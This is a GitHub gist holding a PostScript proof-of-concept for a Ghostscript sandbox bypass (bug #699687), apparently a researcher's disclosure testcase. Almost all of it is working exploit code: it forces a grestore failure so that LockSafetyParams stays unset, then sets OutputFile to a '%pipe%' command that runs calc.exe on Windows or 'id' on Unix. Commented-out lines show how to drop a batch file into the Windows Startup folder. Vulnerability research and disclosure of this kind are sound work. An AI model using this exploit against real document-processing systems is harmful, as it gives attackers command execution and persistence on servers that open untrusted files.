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@taviso
Last active Aug 30, 2018
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GhostScript Testcase
%!PS
% This is ghostscript bug #699687 (split out from bug #699654)
% ImageMagick define setpagedevice, just remove their definition. This doesn't
% do anything if not using ImageMagick.
userdict /setpagedevice undef
% function to check if we're on Linux or Windows
/iswindows {
% Just checking if paths contain drive
null (w) .tempfile closefile 1 get 16#3A eq
} def
% just select a papersize to initialize page device
a0
% The bug is that if you can make grestore or restore fail non-fatally,
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
% properties in your pagedevice, like a nonsense resolution.
%
% Normally it would be something like [72.0 72.0], but you can't just def
% HWResolution to something else (for example), because it's readonly:
%
% GS>currentpagedevice wcheck ==
% false
%
% But you can just put or astore into it, because the array itself is writable:
% GS>currentpagedevice /HWResolution get wcheck ==
% true
%
% Lets just put some junk in there.
currentpagedevice /HWResolution get 0 (foobar) put
% This grestore will fail, stopped just catches the error instead of aborting.
{ grestore } stopped pop
% Now LockSafetyParams will be incorrectly unset, you can check like this:
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
% false
% We can change and configure devices now, so make sure we're using one with
% a OutputFile property.
(ppmraw) selectdevice
% Check if we're on Windows or UNIX
iswindows {
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
%
% The graphical version doesn't seem to support %pipe%, but you can create
% arbitrary files. If something is using the api (gs32dll.dll), it may or
% may not support %pipe%.
/getstartupdirwindows {
% This figures out startup location from %TEMP% (Tested on Win10)
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
} def
% (directory) (extension) randfile (result)
/randfile {
% pick a random filename
exch rand 32 string cvs concatstrings exch concatstrings
} def
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
% if you need to create files, use txtwrite like this:
%mark /OutputFile getstartupdirwindows (.bat) randfile
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
%0 0 moveto
%(REM This is an exploit demo\n) show
%(calc.exe\n) show
} {
% This is UNIX, just run a shell command
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
} ifelse
{ showpage } stopped pop
quit
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